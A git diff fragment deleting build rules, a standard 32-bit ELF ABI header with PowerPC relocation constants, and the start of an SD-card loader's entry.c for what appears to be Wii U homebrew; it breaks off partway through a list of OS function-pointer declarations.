-#--------------------------------------------------------------------------------- -# main targets -#--------------------------------------------------------------------------------- -$(OUTPUT).elf: $(OFILES) - -#--------------------------------------------------------------------------------- -# This rule links in binary data with the .jpg extension -#--------------------------------------------------------------------------------- -%.elf: link.ld $(OFILES) - @echo "linking ... $(TARGET).elf" - $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) - $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ - $(Q)$(OBJCOPY) -j .text -j .data -O binary $@ ../$(TARGET).bin - $(Q)xxd -i ../$(TARGET).elf | sed "s/unsigned/static const unsigned/g;" > $(OUTPUT).h - -#--------------------------------------------------------------------------------- -%.a: -#--------------------------------------------------------------------------------- - @echo $(notdir $@) - @rm -f $@ - @$(AR) -rc $@ $^ - -#--------------------------------------------------------------------------------- -%.o: %.cpp - @echo $(notdir $<) - @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.c - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.S - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.png.o : %.png - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.ttf.o : %.ttf - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - --include $(DEPENDS) - -#--------------------------------------------------------------------------------- -endif -#--------------------------------------------------------------------------------- diff --git a/sd_loader/src/elf_abi.h b/sd_loader/src/elf_abi.h deleted file mode 100644 index 4d9c796..0000000 --- a/sd_loader/src/elf_abi.h +++ /dev/null @@ -1,591 +0,0 @@ -/* - * Copyright (c) 1995, 1996, 2001, 2002 - * Erik Theisen. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. The name of the author may not be used to endorse or promote products - * derived from this software without specific prior written permission - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/* - * This is the ELF ABI header file - * formerly known as "elf_abi.h". - */ - -#ifndef _ELF_ABI_H -#define _ELF_ABI_H - -/* - * This version doesn't work for 64-bit ABIs - Erik. - */ - -/* - * These typedefs need to be handled better. - */ -typedef unsigned int Elf32_Addr; /* Unsigned program address */ -typedef unsigned int Elf32_Off; /* Unsigned file offset */ -typedef signed int Elf32_Sword; /* Signed large integer */ -typedef unsigned int Elf32_Word; /* Unsigned large integer */ -typedef unsigned short Elf32_Half; /* Unsigned medium integer */ - -/* e_ident[] identification indexes */ -#define EI_MAG0 0 /* file ID */ -#define EI_MAG1 1 /* file ID */ -#define EI_MAG2 2 /* file ID */ -#define EI_MAG3 3 /* file ID */ -#define EI_CLASS 4 /* file class */ -#define EI_DATA 5 /* data encoding */ -#define EI_VERSION 6 /* ELF header version */ -#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ -#define EI_ABIVERSION 8 /* ABI target version */ -#define EI_PAD 9 /* start of pad bytes */ -#define EI_NIDENT 16 /* Size of e_ident[] */ - -/* e_ident[] magic number */ -#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ -#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ -#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ -#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ -#define ELFMAG "\177ELF" /* magic */ -#define SELFMAG 4 /* size of magic */ - -/* e_ident[] file class */ -#define ELFCLASSNONE 0 /* invalid */ -#define ELFCLASsigned int 1 /* 32-bit objs */ -#define ELFCLASS64 2 /* 64-bit objs */ -#define ELFCLASSNUM 3 /* number of classes */ - -/* e_ident[] data encoding */ -#define ELFDATANONE 0 /* invalid */ -#define ELFDATA2LSB 1 /* Little-Endian */ -#define ELFDATA2MSB 2 /* Big-Endian */ -#define ELFDATANUM 3 /* number of data encode defines */ - -/* e_ident[] OS/ABI specific ELF extensions */ -#define ELFOSABI_NONE 0 /* No extension specified */ -#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ -#define ELFOSABI_NETBSD 2 /* NetBSD */ -#define ELFOSABI_LINUX 3 /* Linux */ -#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ -#define ELFOSABI_AIX 7 /* AIX */ -#define ELFOSABI_IRIX 8 /* IRIX */ -#define ELFOSABI_FREEBSD 9 /* FreeBSD */ -#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ -#define ELFOSABI_MODESTO 11 /* Novell Modesto */ -#define ELFOSABI_OPENBSD 12 /* OpenBSD */ -/* 64-255 Architecture-specific value range */ - -/* e_ident[] ABI Version */ -#define ELFABIVERSION 0 - -/* e_ident */ -#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ - (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ - (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ - (ehdr).e_ident[EI_MAG3] == ELFMAG3) - -/* ELF Header */ -typedef struct elfhdr{ - unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ - Elf32_Half e_type; /* object file type */ - Elf32_Half e_machine; /* machine */ - Elf32_Word e_version; /* object file version */ - Elf32_Addr e_entry; /* virtual entry point */ - Elf32_Off e_phoff; /* program header table offset */ - Elf32_Off e_shoff; /* section header table offset */ - Elf32_Word e_flags; /* processor-specific flags */ - Elf32_Half e_ehsize; /* ELF header size */ - Elf32_Half e_phentsize; /* program header entry size */ - Elf32_Half e_phnum; /* number of program header entries */ - Elf32_Half e_shentsize; /* section header entry size */ - Elf32_Half e_shnum; /* number of section header entries */ - Elf32_Half e_shstrndx; /* section header table's "section - header string table" entry offset */ -} Elf32_Ehdr; - -/* e_type */ -#define ET_NONE 0 /* No file type */ -#define ET_REL 1 /* relocatable file */ -#define ET_EXEC 2 /* executable file */ -#define ET_DYN 3 /* shared object file */ -#define ET_CORE 4 /* core file */ -#define ET_NUM 5 /* number of types */ -#define ET_LOOS 0xfe00 /* reserved range for operating */ -#define ET_HIOS 0xfeff /* system specific e_type */ -#define ET_LOPROC 0xff00 /* reserved range for processor */ -#define ET_HIPROC 0xffff /* specific e_type */ - -/* e_machine */ -#define EM_NONE 0 /* No Machine */ -#define EM_M32 1 /* AT&T WE 32100 */ -#define EM_SPARC 2 /* SPARC */ -#define EM_386 3 /* Intel 80386 */ -#define EM_68K 4 /* Motorola 68000 */ -#define EM_88K 5 /* Motorola 88000 */ -#if 0 -#define EM_486 6 /* RESERVED - was Intel 80486 */ -#endif -#define EM_860 7 /* Intel 80860 */ -#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ -#define EM_S370 9 /* IBM System/370 Processor */ -#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ -#if 0 -#define EM_SPARC64 11 /* RESERVED - was SPARC v9 - 64-bit unoffical */ -#endif -/* RESERVED 11-14 for future use */ -#define EM_PARISC 15 /* HPPA */ -/* RESERVED 16 for future use */ -#define EM_VPP500 17 /* Fujitsu VPP500 */ -#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ -#define EM_960 19 /* Intel 80960 */ -#define EM_PPC 20 /* PowerPC */ -#define EM_PPC64 21 /* 64-bit PowerPC */ -#define EM_S390 22 /* IBM System/390 Processor */ -/* RESERVED 23-35 for future use */ -#define EM_V800 36 /* NEC V800 */ -#define EM_FR20 37 /* Fujitsu FR20 */ -#define EM_RH32 38 /* TRW RH-32 */ -#define EM_RCE 39 /* Motorola RCE */ -#define EM_ARM 40 /* Advanced Risc Machines ARM */ -#define EM_ALPHA 41 /* Digital Alpha */ -#define EM_SH 42 /* Hitachi SH */ -#define EM_SPARCV9 43 /* SPARC Version 9 */ -#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ -#define EM_ARC 45 /* Argonaut RISC Core */ -#define EM_H8_300 46 /* Hitachi H8/300 */ -#define EM_H8_300H 47 /* Hitachi H8/300H */ -#define EM_H8S 48 /* Hitachi H8S */ -#define EM_H8_500 49 /* Hitachi H8/500 */ -#define EM_IA_64 50 /* Intel Merced */ -#define EM_MIPS_X 51 /* Stanford MIPS-X */ -#define EM_COLDFIRE 52 /* Motorola Coldfire */ -#define EM_68HC12 53 /* Motorola M68HC12 */ -#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ -#define EM_PCP 55 /* Siemens PCP */ -#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ -#define EM_NDR1 57 /* Denso NDR1 microprocessor */ -#define EM_STARCORE 58 /* Motorola Start*Core processor */ -#define EM_ME16 59 /* Toyota ME16 processor */ -#define EM_ST100 60 /* STMicroelectronic ST100 processor */ -#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ -#define EM_X86_64 62 /* AMD x86-64 */ -#define EM_PDSP 63 /* Sony DSP Processor */ -/* RESERVED 64,65 for future use */ -#define EM_FX66 66 /* Siemens FX66 microcontroller */ -#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ -#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ -#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ -#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ -#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ -#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ -#define EM_SVX 73 /* Silicon Graphics SVx */ -#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ -#define EM_VAX 75 /* Digital VAX */ -#define EM_CHRIS 76 /* Axis Communications embedded proc. */ -#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ -#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ -#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ -#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ -#define EM_HUANY 81 /* Harvard University mach-indep objs */ -#define EM_PRISM 82 /* SiTera Prism */ -#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ -#define EM_FR30 84 /* Fujitsu FR30 */ -#define EM_D10V 85 /* Mitsubishi DV10V */ -#define EM_D30V 86 /* Mitsubishi DV30V */ -#define EM_V850 87 /* NEC v850 */ -#define EM_M32R 88 /* Mitsubishi M32R */ -#define EM_MN10300 89 /* Matsushita MN10200 */ -#define EM_MN10200 90 /* Matsushita MN10200 */ -#define EM_PJ 91 /* picoJava */ -#define EM_NUM 92 /* number of machine types */ - -/* Version */ -#define EV_NONE 0 /* Invalid */ -#define EV_CURRENT 1 /* Current */ -#define EV_NUM 2 /* number of versions */ - -/* Section Header */ -typedef struct { - Elf32_Word sh_name; /* name - index into section header - string table section */ - Elf32_Word sh_type; /* type */ - Elf32_Word sh_flags; /* flags */ - Elf32_Addr sh_addr; /* address */ - Elf32_Off sh_offset; /* file offset */ - Elf32_Word sh_size; /* section size */ - Elf32_Word sh_link; /* section header table index link */ - Elf32_Word sh_info; /* extra information */ - Elf32_Word sh_addralign; /* address alignment */ - Elf32_Word sh_entsize; /* section entry size */ -} Elf32_Shdr; - -/* Special Section Indexes */ -#define SHN_UNDEF 0 /* undefined */ -#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ -#define SHN_LOPROC 0xff00 /* reserved range for processor */ -#define SHN_HIPROC 0xff1f /* specific section indexes */ -#define SHN_LOOS 0xff20 /* reserved range for operating */ -#define SHN_HIOS 0xff3f /* specific semantics */ -#define SHN_ABS 0xfff1 /* absolute value */ -#define SHN_COMMON 0xfff2 /* common symbol */ -#define SHN_XINDEX 0xffff /* Index is an extra table */ -#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ - -/* sh_type */ -#define SHT_NULL 0 /* inactive */ -#define SHT_PROGBITS 1 /* program defined information */ -#define SHT_SYMTAB 2 /* symbol table section */ -#define SHT_STRTAB 3 /* string table section */ -#define SHT_RELA 4 /* relocation section with addends*/ -#define SHT_HASH 5 /* symbol hash table section */ -#define SHT_DYNAMIC 6 /* dynamic section */ -#define SHT_NOTE 7 /* note section */ -#define SHT_NOBITS 8 /* no space section */ -#define SHT_REL 9 /* relation section without addends */ -#define SHT_SHLIB 10 /* reserved - purpose unknown */ -#define SHT_DYNSYM 11 /* dynamic symbol table section */ -#define SHT_INIT_ARRAY 14 /* Array of constructors */ -#define SHT_FINI_ARRAY 15 /* Array of destructors */ -#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ -#define SHT_GROUP 17 /* Section group */ -#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ -#define SHT_NUM 19 /* number of section types */ -#define SHT_LOOS 0x60000000 /* Start OS-specific */ -#define SHT_HIOS 0x6fffffff /* End OS-specific */ -#define SHT_LOPROC 0x70000000 /* reserved range for processor */ -#define SHT_HIPROC 0x7fffffff /* specific section header types */ -#define SHT_LOUSER 0x80000000 /* reserved range for application */ -#define SHT_HIUSER 0xffffffff /* specific indexes */ - -/* Section names */ -#define ELF_BSS ".bss" /* uninitialized data */ -#define ELF_COMMENT ".comment" /* version control information */ -#define ELF_DATA ".data" /* initialized data */ -#define ELF_DATA1 ".data1" /* initialized data */ -#define ELF_DEBUG ".debug" /* debug */ -#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ -#define ELF_DYNSTR ".dynstr" /* dynamic string table */ -#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ -#define ELF_FINI ".fini" /* termination code */ -#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ -#define ELF_GOT ".got" /* global offset table */ -#define ELF_HASH ".hash" /* symbol hash table */ -#define ELF_INIT ".init" /* initialization code */ -#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ -#define ELF_INTERP ".interp" /* Pathname of program interpreter */ -#define ELF_LINE ".line" /* Symbolic line numnber information */ -#define ELF_NOTE ".note" /* Contains note section */ -#define ELF_PLT ".plt" /* Procedure linkage table */ -#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ -#define ELF_REL_DATA ".rel.data" /* relocation data */ -#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ -#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ -#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ -#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ -#define ELF_REL_TEXT ".rel.text" /* relocation code */ -#define ELF_RODATA ".rodata" /* read-only data */ -#define ELF_RODATA1 ".rodata1" /* read-only data */ -#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ -#define ELF_STRTAB ".strtab" /* string table */ -#define ELF_SYMTAB ".symtab" /* symbol table */ -#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ -#define ELF_TBSS ".tbss" /* thread local uninit data */ -#define ELF_TDATA ".tdata" /* thread local init data */ -#define ELF_TDATA1 ".tdata1" /* thread local init data */ -#define ELF_TEXT ".text" /* code */ - -/* Section Attribute Flags - sh_flags */ -#define SHF_WRITE 0x1 /* Writable */ -#define SHF_ALLOC 0x2 /* occupies memory */ -#define SHF_EXECINSTR 0x4 /* executable */ -#define SHF_MERGE 0x10 /* Might be merged */ -#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ -#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ -#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ -#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ -#define SHF_GROUP 0x200 /* Member of section group */ -#define SHF_TLS 0x400 /* Thread local storage */ -#define SHF_MASKOS 0x0ff00000 /* OS specific */ -#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific section attributes */ - -/* Section Group Flags */ -#define GRP_COMDAT 0x1 /* COMDAT group */ -#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ -#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ - -/* Symbol Table Entry */ -typedef struct elf32_sym { - Elf32_Word st_name; /* name - index into string table */ - Elf32_Addr st_value; /* symbol value */ - Elf32_Word st_size; /* symbol size */ - unsigned char st_info; /* type and binding */ - unsigned char st_other; /* 0 - no defined meaning */ - Elf32_Half st_shndx; /* section header index */ -} Elf32_Sym; - -/* Symbol table index */ -#define STN_UNDEF 0 /* undefined */ - -/* Extract symbol info - st_info */ -#define ELF32_ST_BIND(x) ((x) >> 4) -#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) -#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) -#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) - -/* Symbol Binding - ELF32_ST_BIND - st_info */ -#define STB_LOCAL 0 /* Local symbol */ -#define STB_GLOBAL 1 /* Global symbol */ -#define STB_WEAK 2 /* like global - lower precedence */ -#define STB_NUM 3 /* number of symbol bindings */ -#define STB_LOOS 10 /* reserved range for operating */ -#define STB_HIOS 12 /* system specific symbol bindings */ -#define STB_LOPROC 13 /* reserved range for processor */ -#define STB_HIPROC 15 /* specific symbol bindings */ - -/* Symbol type - ELF32_ST_TYPE - st_info */ -#define STT_NOTYPE 0 /* not specified */ -#define STT_OBJECT 1 /* data object */ -#define STT_FUNC 2 /* function */ -#define STT_SECTION 3 /* section */ -#define STT_FILE 4 /* file */ -#define STT_NUM 5 /* number of symbol types */ -#define STT_TLS 6 /* Thread local storage symbol */ -#define STT_LOOS 10 /* reserved range for operating */ -#define STT_HIOS 12 /* system specific symbol types */ -#define STT_LOPROC 13 /* reserved range for processor */ -#define STT_HIPROC 15 /* specific symbol types */ - -/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ -#define STV_DEFAULT 0 /* Normal visibility rules */ -#define STV_INTERNAL 1 /* Processor specific hidden class */ -#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ -#define STV_PROTECTED 3 /* Not preemptible, not exported */ - - -/* Relocation entry with implicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ -} Elf32_Rel; - -/* Relocation entry with explicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ - Elf32_Sword r_addend; -} Elf32_Rela; - -/* Extract relocation info - r_info */ -#define ELF32_R_SYM(i) ((i) >> 8) -#define ELF32_R_TYPE(i) ((unsigned char) (i)) -#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) - -/* Program Header */ -typedef struct { - Elf32_Word p_type; /* segment type */ - Elf32_Off p_offset; /* segment offset */ - Elf32_Addr p_vaddr; /* virtual address of segment */ - Elf32_Addr p_paddr; /* physical address - ignored? */ - Elf32_Word p_filesz; /* number of bytes in file for seg. */ - Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ - Elf32_Word p_flags; /* flags */ - Elf32_Word p_align; /* memory alignment */ -} Elf32_Phdr; - -/* Segment types - p_type */ -#define PT_NULL 0 /* unused */ -#define PT_LOAD 1 /* loadable segment */ -#define PT_DYNAMIC 2 /* dynamic linking section */ -#define PT_INTERP 3 /* the RTLD */ -#define PT_NOTE 4 /* auxiliary information */ -#define PT_SHLIB 5 /* reserved - purpose undefined */ -#define PT_PHDR 6 /* program header */ -#define PT_TLS 7 /* Thread local storage template */ -#define PT_NUM 8 /* Number of segment types */ -#define PT_LOOS 0x60000000 /* reserved range for operating */ -#define PT_HIOS 0x6fffffff /* system specific segment types */ -#define PT_LOPROC 0x70000000 /* reserved range for processor */ -#define PT_HIPROC 0x7fffffff /* specific segment types */ - -/* Segment flags - p_flags */ -#define PF_X 0x1 /* Executable */ -#define PF_W 0x2 /* Writable */ -#define PF_R 0x4 /* Readable */ -#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ -#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific segment flags */ -/* Dynamic structure */ -typedef struct -{ - Elf32_Sword d_tag; /* controls meaning of d_val */ - union - { - Elf32_Word d_val; /* Multiple meanings - see d_tag */ - Elf32_Addr d_ptr; /* program virtual address */ - } d_un; -} Elf32_Dyn; - -extern Elf32_Dyn _DYNAMIC[]; - -/* Dynamic Array Tags - d_tag */ -#define DT_NULL 0 /* marks end of _DYNAMIC array */ -#define DT_NEEDED 1 /* string table offset of needed lib */ -#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ -#define DT_PLTGOT 3 /* address PLT/GOT */ -#define DT_HASH 4 /* address of symbol hash table */ -#define DT_STRTAB 5 /* address of string table */ -#define DT_SYMTAB 6 /* address of symbol table */ -#define DT_RELA 7 /* address of relocation table */ -#define DT_RELASZ 8 /* size of relocation table */ -#define DT_RELAENT 9 /* size of relocation entry */ -#define DT_STRSZ 10 /* size of string table */ -#define DT_SYMENT 11 /* size of symbol table entry */ -#define DT_INIT 12 /* address of initialization func. */ -#define DT_FINI 13 /* address of termination function */ -#define DT_SONAME 14 /* string table offset of shared obj */ -#define DT_RPATH 15 /* string table offset of library - search path */ -#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ -#define DT_REL 17 /* address of rel. tbl. w addends */ -#define DT_RELSZ 18 /* size of DT_REL relocation table */ -#define DT_RELENT 19 /* size of DT_REL relocation entry */ -#define DT_PLTREL 20 /* PLT referenced relocation entry */ -#define DT_DEBUG 21 /* bugger */ -#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ -#define DT_JMPREL 23 /* add. of PLT's relocation entries */ -#define DT_BIND_NOW 24 /* Process relocations of object */ -#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ -#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ -#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ -#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ -#define DT_RUNPATH 29 /* Library search path */ -#define DT_FLAGS 30 /* Flags for the object being loaded */ -#define DT_ENCODING 32 /* Start of encoded range */ -#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ -#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ -#define DT_NUM 34 /* Number used. */ -#define DT_LOOS 0x60000000 /* reserved range for OS */ -#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ -#define DT_LOPROC 0x70000000 /* reserved range for processor */ -#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ - -/* Dynamic Tag Flags - d_un.d_val */ -#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ -#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ -#define DF_TEXTREL 0x04 /* Object contains text relocations */ -#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ -#define DF_STATIC_TLS 0x10 /* Static thread local storage */ - -/* Standard ELF hashing function */ -unsigned long elf_hash(const unsigned char *name); - -#define ELF_TARG_VER 1 /* The ver for which this code is intended */ - -/* - * XXX - PowerPC defines really don't belong in here, - * but we'll put them in for simplicity. - */ - -/* Values for Elf32/64_Ehdr.e_flags. */ -#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ - -/* Cygnus local bits below */ -#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ -#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib - flag */ - -/* PowerPC relocations defined by the ABIs */ -#define R_PPC_NONE 0 -#define R_PPC_ADDR32 1 /* 32bit absolute address */ -#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ -#define R_PPC_ADDR16 3 /* 16bit absolute address */ -#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ -#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ -#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ -#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ -#define R_PPC_ADDR14_BRTAKEN 8 -#define R_PPC_ADDR14_BRNTAKEN 9 -#define R_PPC_REL24 10 /* PC relative 26 bit */ -#define R_PPC_REL14 11 /* PC relative 16 bit */ -#define R_PPC_REL14_BRTAKEN 12 -#define R_PPC_REL14_BRNTAKEN 13 -#define R_PPC_GOT16 14 -#define R_PPC_GOT16_LO 15 -#define R_PPC_GOT16_HI 16 -#define R_PPC_GOT16_HA 17 -#define R_PPC_PLTREL24 18 -#define R_PPC_COPY 19 -#define R_PPC_GLOB_DAT 20 -#define R_PPC_JMP_SLOT 21 -#define R_PPC_RELATIVE 22 -#define R_PPC_LOCAL24PC 23 -#define R_PPC_UADDR32 24 -#define R_PPC_UADDR16 25 -#define R_PPC_REL32 26 -#define R_PPC_PLT32 27 -#define R_PPC_PLTREL32 28 -#define R_PPC_PLT16_LO 29 -#define R_PPC_PLT16_HI 30 -#define R_PPC_PLT16_HA 31 -#define R_PPC_SDAREL16 32 -#define R_PPC_SECTOFF 33 -#define R_PPC_SECTOFF_LO 34 -#define R_PPC_SECTOFF_HI 35 -#define R_PPC_SECTOFF_HA 36 -/* Keep this the last entry. */ -#define R_PPC_NUM 37 - -/* The remaining relocs are from the Embedded ELF ABI, and are not - in the SVR4 ELF ABI. */ -#define R_PPC_EMB_NADDR32 101 -#define R_PPC_EMB_NADDR16 102 -#define R_PPC_EMB_NADDR16_LO 103 -#define R_PPC_EMB_NADDR16_HI 104 -#define R_PPC_EMB_NADDR16_HA 105 -#define R_PPC_EMB_SDAI16 106 -#define R_PPC_EMB_SDA2I16 107 -#define R_PPC_EMB_SDA2REL 108 -#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ -#define R_PPC_EMB_MRKREF 110 -#define R_PPC_EMB_RELSEC16 111 -#define R_PPC_EMB_RELST_LO 112 -#define R_PPC_EMB_RELST_HI 113 -#define R_PPC_EMB_RELST_HA 114 -#define R_PPC_EMB_BIT_FLD 115 -#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ - -/* Diab tool relocations. */ -#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ -#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ -#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ -#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ -#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ -#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ - -/* This is a phony reloc to handle any old fashioned TOC16 references - that may still be in object files. */ -#define R_PPC_TOC16 255 - -#endif /* _ELF_H */ diff --git a/sd_loader/src/entry.c b/sd_loader/src/entry.c deleted file mode 100644 index 454857e..0000000 --- a/sd_loader/src/entry.c +++ /dev/null @@ -1,661 +0,0 @@ -#include -#include "elf_abi.h" -#include "../../src/common/common.h" -#include "../../src/common/os_defs.h" -#include "fs_defs.h" -#include "kernel_defs.h" -#include "loader_defs.h" - -#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__); -#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func) - -typedef struct _private_data_t -{ - EXPORT_DECL(void *, MEMAllocFromDefaultHeapEx,int size, int align); - EXPORT_DECL(void, MEMFreeToDefaultHeap,void *ptr); - - EXPORT_DECL(void*, memcpy, void *p1, const void *p2, unsigned int s); - EXPORT_DECL(void*, memset, void *p1, int val, unsigned int s); - EXPORT_DECL(void, OSFatal, const char* msg); - EXPORT_DECL(unsigned int, OSEffectiveToPhysical, const void*); - EXPORT_DECL(void, exit, int); - - EXPORT_DECL(int, FSInit, void); - EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); - EXPORT_DECL(int, FSDelClient, void *pClient); - EXPORT_DECL(void, FSInitCmdBlock, void *pCmd); - EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling); - EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, const char *target, uint32_t bytes, int errHandling); - EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling); - EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); - EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int 